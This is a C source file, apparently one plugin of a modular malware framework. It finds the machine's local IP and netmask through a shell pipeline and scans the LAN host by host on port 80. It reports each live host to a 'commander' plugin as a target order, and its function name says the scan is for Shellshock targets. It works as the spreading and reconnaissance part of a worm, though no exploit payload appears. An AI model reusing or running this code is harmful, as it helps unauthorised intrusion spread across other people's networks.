169 lines
4.9 KiB
C
169 lines
4.9 KiB
C
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <netdb.h>
|
|
#include <stdlib.h>
|
|
|
|
#include "api.h"
|
|
#include "10_commander.h"
|
|
|
|
#define MAX_IP_SIZE 17
|
|
|
|
api_plugin_t version = {.id = 9, .flag = 0, .major = 1, .minor = 0};
|
|
|
|
/* TODO: use types int32_t */
|
|
|
|
/*
|
|
translate an ip (value on 32 bits) into a dot decimal representation
|
|
|
|
@param to: must be a char[MAX_IP_SIZE]
|
|
*/
|
|
static void ip_int_to_ip_string(int iip, char *to) {
|
|
unsigned char aip[4];
|
|
aip[0] = iip >> 24;
|
|
aip[1] = iip >> 16;
|
|
aip[2] = iip >> 8;
|
|
aip[3] = iip >> 0;
|
|
snprintf(to, MAX_IP_SIZE, "%u.%u.%u.%u", aip[0], aip[1], aip[2], aip[3]);
|
|
}
|
|
|
|
/*
|
|
translate a dot decimal ip representation into a int32 value
|
|
|
|
@param sip: a string formatted as "a.b.c.d"
|
|
@return ip: the decimal value of the ip
|
|
*/
|
|
static unsigned int ip_string_to_ip_int(char *sip) {
|
|
unsigned int iip = 0;
|
|
unsigned int val = 0;
|
|
for (unsigned int i = 0; i < strlen(sip); i++) {
|
|
if (sip[i] == '.') {
|
|
iip = (iip << 8) + val;
|
|
val = 0;
|
|
}
|
|
else if (sip[i] >= '0' && sip[i] <= '9') {
|
|
val = val * 10 + (sip[i] - '0');
|
|
}
|
|
else {
|
|
printf("Invalid character '%c' at %i\n", sip[i], i);
|
|
}
|
|
}
|
|
iip = (iip << 8) + val;
|
|
return iip;
|
|
}
|
|
|
|
/*
|
|
Computes a mask in decimal (CIDR) from a negated binary expression of the mask
|
|
|
|
ex: Computes 00000....1111 into /dd (a normal mask is 11111...0000)
|
|
*/
|
|
int mask_neg_to_mask_decimal(int nmask) {
|
|
unsigned int dmask;
|
|
for (int i = 1; i < 32; i++) {
|
|
if ((nmask << i) >> i != nmask) // we found the mask
|
|
{
|
|
dmask = i;
|
|
break;
|
|
}
|
|
}
|
|
return dmask;
|
|
}
|
|
|
|
/*
|
|
Test if the host is up (connect on port 80).
|
|
|
|
@param ip: a string to represent the ip to test (a.b.c.d)
|
|
@return true or false (1/0)
|
|
*/
|
|
static int p9_scan_host_up(char *ip) {
|
|
struct addrinfo hints, *res;
|
|
int sockfd;
|
|
memset(&hints, 0, sizeof hints);
|
|
hints.ai_family = AF_UNSPEC;
|
|
hints.ai_socktype = SOCK_STREAM;
|
|
getaddrinfo(ip, "80", &hints, &res);
|
|
sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
|
|
int host_is_down = connect(sockfd, res->ai_addr, res->ai_addrlen) == -1;
|
|
if (!host_is_down)
|
|
close(sockfd);
|
|
freeaddrinfo(res);
|
|
printf("The ip %s is %s\n", ip, host_is_down ? "down" : "up");
|
|
return !host_is_down;
|
|
}
|
|
|
|
static unsigned int p9_local_dmask = 0; // 24
|
|
static unsigned int p9_local_mask_and = 0; // 0b000...111
|
|
static unsigned int p9_local_mask_or = 0; // 0b111...000
|
|
static char p9_local_sip[MAX_IP_SIZE] = {0};
|
|
static unsigned int p9_local_iip = 0;
|
|
|
|
/* void printfb(int val) { */
|
|
/* for (int i = 31; i >= 0; i--) { */
|
|
/* printf("%i", ((val & (1 << i)) >> i) & 1); */
|
|
/* } */
|
|
/* printf("\n"); */
|
|
/* } */
|
|
|
|
/*
|
|
Scan whole the LAN by "slice" and send a message to the command center if a host is found.
|
|
The LAN must be computed and stored with the mask before in the p9_local_...
|
|
|
|
@param slice number of host to test before stopping this scan
|
|
*/
|
|
static void p9_scan_shellshock_slice(int slice) {
|
|
static unsigned int current = 0;
|
|
|
|
if (current == 0 || current == (p9_local_iip | p9_local_mask_and)) {
|
|
current = p9_local_iip; // apply a /16 mask = & 0b111...000 // TODO
|
|
}
|
|
for (int i = 1; i <= slice; i++) {
|
|
if (current == (p9_local_iip | p9_local_mask_and))
|
|
break;
|
|
current++;
|
|
char scurrent[MAX_IP_SIZE];
|
|
ip_int_to_ip_string(current, scurrent);
|
|
if (p9_scan_host_up(scurrent)) {
|
|
p10_order order = { .type = 1, .data = {0} };
|
|
memcpy(order.data, scurrent, MAX_IP_SIZE);
|
|
api_send_message((api_plugin_t){10, 0, 0, 0}, &order, sizeof(order), 1);
|
|
}
|
|
}
|
|
}
|
|
|
|
#define SEARCH_IP "/usr/bin/env ip a | grep -Eo 'inet ([0-9]*\\.){3}[0-9]*/[0-9]+ brd ([0-9]*\\.){3}[0-9]*' | grep -v '127.0.0.1'"
|
|
/*
|
|
Find the local ip and then start a scan on the whole LAN, by 8 hosts.
|
|
*/
|
|
void run() {
|
|
if (!p9_local_sip[0]) {
|
|
/* get the mask */
|
|
FILE* mask = popen(SEARCH_IP " | grep -Eo '/[0-9]+' | grep -Eo '[0-9]+'", "r");
|
|
char mask_str[3] = {0};
|
|
fread(mask_str, 2, 1, mask);
|
|
pclose(mask);
|
|
p9_local_dmask = atoi(mask_str);
|
|
// computes different mask representations
|
|
p9_local_mask_and = 0;
|
|
for (unsigned char i = 32; i > p9_local_dmask; i--)
|
|
p9_local_mask_and = (p9_local_mask_and << 1) + 1; // 0b000...111
|
|
p9_local_mask_or = p9_local_mask_and ^ 0xFFFFFFFF; // 0b111...000
|
|
|
|
/* get the ip */
|
|
FILE* ip = popen(SEARCH_IP " | grep -Eo 'inet [0-9\\.]+' | grep -Eo 'inet [0-9\\.]+' | grep -Eo '[0-9\\.]+'", "r");
|
|
fread(p9_local_sip, MAX_IP_SIZE - 1, 1, ip);
|
|
pclose(ip);
|
|
p9_local_sip[strlen(p9_local_sip) - 1] = 0; // remove \n
|
|
p9_local_iip = ip_string_to_ip_int(p9_local_sip);
|
|
|
|
printf("LOCAL IP: \"%s/%i\"\n", p9_local_sip, p9_local_dmask);
|
|
/* printfb(p9_local_mask_and); */
|
|
/* printfb(p9_local_mask_or); */
|
|
}
|
|
/* scan the next slice of hosts */
|
|
p9_scan_shellshock_slice(2);
|
|
}
|